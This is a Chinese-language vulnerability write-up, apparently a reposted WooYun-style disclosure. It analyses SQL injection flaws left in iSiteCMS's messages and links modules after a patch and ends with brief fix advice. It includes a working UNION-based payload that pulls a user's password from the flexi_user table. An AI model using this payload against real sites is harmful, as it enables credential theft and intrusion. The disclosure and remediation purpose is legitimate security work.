iSiteCMS 之前有过一个后台登陆时的注射,不过后来修复了,但是

还有几处注射分布在XX模块以及XXX模块里

本文对源代码进行了详细的分析

源码分析请见详细说明,实站演示请见漏洞证明

/isite/components/messages/messages.fe.php line:103


if($form->status == TFORM_STATUS_GETED_VALID){
//这个是站内短信的写信息表单 的 处理
$arr = $form->getValues();
//直接获取表单中信息
$tos = explode(',',trim($arr['to']));
//只是分割,不是过滤
$noExistsMenber = array();
$toMenbers = array();
foreach ($tos as $menber){
$i =
$this->DBE->getOne("select `id` from #__user where `name`='$menber'");
//一直到上面这一句都没有过滤,直接带入数据库查询了,之所以会这么写可能的原因是开发人员误以为`name`='$menber'的引号可以起到保护作用(其他的int变量都通过了inval,而这个是string啊喵,我可以输入单引号啊喵)
if(is_null($i) or empty($i)){
$noExistsMenber[] = $menber;
//id只要有返回就可以继续
}else{
$m['name'] = $menber;
$m['id'] = $i;
$toMenbers[] = $m;
}
}
if(!empty($noExistsMenber)){
addGlobalNotice("以下用户不存在:".implode(',',$noExistsMenber));
}else{
$msg['tos'] = $arr['to'];
$msg['subject'] = $arr['subject'];
$msg['content'] = $arr['content'];
//进入信息发送的模块了,实际上之前就已经引发注射了,但是攻击时需要读sendMessage代码
$mMessage->sendMessage($toMenbers,$msg);
$this->flash('成功','发送成功',bu(1,'messages','inbox'));
}

这个就是代码里的表单显示

iSiteCMS发布安全补丁后仍然有几处注射漏洞源码详析及修复

先来个同理可证:

/isite/components/links/links.be.php line:64


if($form->status == TFORM_STATUS_GETED_VALID){
$newCat = $form->getValues();
if($id==0){
//create category
//check name
$name = $newCat['name'];
$nameUsed = $this->DBE->getOne("select count(*) from #__link_category where `name`='$name'");
if($nameUsed){
$form->status = TFORM_STATUS_GETED;

看完以上代码是不是有一种似曾相识的感觉呢?


漏洞成因分析完毕


下面是对于攻击方式的分析,如果您只关心如何把漏洞补上,也可以直接跳过以下内容到漏洞修复那里


注射肯定是有了,但是这里有一点点别扭的地方,就是

$tos = explode(',',trim($arr['to']));

这句话把逗号给干掉了,给注射添加了小小难度,不过,这能难倒WOOYUN的帽子们吗?

继续分析代码:

/isite/components/messages/models/message.php 整php


function sendMessage($to,$message,$type=null,$newCall=1){
//刚才检测完用户是否存在后,调用这个函数
if(isset($to['name']) or is_string($to)){
if(is_string($to)){
$to['name'] = $to;
}
if(!isset($to['id'])){
//还记得id吗,是之前被注射SQL的返回,理论上正常应该是目标用户的id
$to['id'] = $this->_db->getOne("select `id` from #__user where `name`='$to[name]'");
}
//又SELECT一遍,不过name还是注射时的name,这一句也被注射了
global $gUser;
$message['to'] = $to['name'];
$message['to_id'] = $to['id'];
$message['from'] = $gUser->name;
$message['from_id'] = $gUser->id;
$message['create_time'] = TIME_STAMP;
$message['type'] = $type;
$this->insert($message);
//看到下一句,终于长舒一口气,注射可以有回显了!to_id就是我们的语句执行结果,而它会报错给我们看的!
$this->_db->execute("update #__user set `new_msg_count`=`new_msg_count`+1 where `id`=$message[to_id]");
if($newCall>0){
$message['to'] = '';
$message['to_id'] = 0;
$this->insert($message);
$newCall--;
}
}else if(is_array($to)){
foreach ($to as $sto){
$this->sendMessage($sto,$message,null,$newCall);
}
}
}


注射+回显方法 :

test' and 1=2 union select password from flexi_user where id=1#


union select 后面加你想看的内容即可,不过记着不能用逗号哦

修补方式分析:

目前的状态是:数字型+语句中单引号(可防注射);字符型+语句中单引号(仍能注射)

主要需要考虑字符型变量的过滤问题

可以addslashes,也可以用普通过滤

也可以用框架提供的安全特性

本文web安全相关术语:黑盒测试方法 黑盒测试和白盒测试 网站安全检测 360网站安全检测 网络安全知识 网络安全技术 网络信息安全 网络安全工程师

代码区博客精选文章
分页:12
转载请注明
本文标题:iSiteCMS发布安全补丁后仍然有几处注射漏洞源码详析及修复
本站链接:https://www.codesec.net/view/795.html


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | web安全 | 评论(0) | 阅读(54)